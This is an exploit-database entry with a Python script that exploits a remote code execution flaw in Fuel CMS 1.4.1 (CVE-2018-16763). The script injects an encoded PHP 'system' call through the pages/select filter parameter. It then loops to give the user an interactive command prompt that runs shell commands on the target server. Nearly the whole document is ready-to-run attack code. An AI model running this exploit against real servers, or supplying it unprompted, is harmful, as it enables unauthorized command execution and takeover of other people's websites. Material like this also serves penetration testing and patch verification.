Authored by Padsala Trushal

Fuel CMS version 1.4.1 remote code execution exploit. Original discovery of remote code execution in this version is attributed to 0xd0ff9 in July of 2019.

advisories | CVE-2018-16763

# Exploit Title: Fuel CMS 1.4.1 - Remote Code Execution (3)
# Exploit Author: Padsala Trushal
# Date: 2021-11-03
# Vendor Homepage: https://www.getfuelcms.com/
# Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1
# Version: <= 1.4.1
# Tested on: Ubuntu - Apache2 - php5
# CVE : CVE-2018-16763

#!/usr/bin/python3

import requests
from urllib.parse import quote
import argparse
import sys
from colorama import Fore, Style

def get_arguments():
parser = argparse.ArgumentParser(description='fuel cms fuel CMS 1.4.1 - Remote Code Execution Exploit',usage=f'python3 {sys.argv[0]} -u <url>',epilog=f'EXAMPLE - python3 {sys.argv[0]} -u http://10.10.21.74')

parser.add_argument('-v','--version',action='version',version='1.2',help='show the version of exploit')

parser.add_argument('-u','--url',metavar='url',dest='url',help='Enter the url')

args = parser.parse_args()

if len(sys.argv) <=2:
parser.print_usage()
sys.exit()

return args


args = get_arguments()
url = args.url

if "http" not in url:
sys.stderr.write("Enter vaild url")
sys.exit()

try:
r = requests.get(url)
if r.status_code == 200:
print(Style.BRIGHT+Fore.GREEN+"[+]Connecting..."+Style.RESET_ALL)


except requests.ConnectionError:
print(Style.BRIGHT+Fore.RED+"Can't connect to url"+Style.RESET_ALL)
sys.exit()

while True:
cmd = input(Style.BRIGHT+Fore.YELLOW+"Enter Command $"+Style.RESET_ALL)

main_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+quote(cmd)+"%27%29%2b%27"

r = requests.get(main_url)

#<div style="border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;">

output = r.text.split('<div style="border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;">')
print(output[0])
if cmd == "exit":
break